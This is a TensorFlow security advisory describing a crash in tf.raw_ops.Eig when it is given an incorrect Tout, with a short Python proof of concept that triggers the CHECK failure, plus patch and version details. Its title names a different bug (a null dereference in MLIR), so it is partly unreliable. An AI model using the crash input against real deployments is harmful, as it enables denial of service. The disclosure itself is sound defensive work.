TensorFlow vulnerable to null dereference on MLIR on empty function attributes

Impact

Eig can be fed an incorrect Tout input, resulting in a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
import numpy as np 
arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_1=tf.complex128
arg_2=True
arg_3=''
tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3)

Patches

We have patched the issue in GitHub commit aed36912609fc07229b4d0a7b44f3f48efc00fd0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.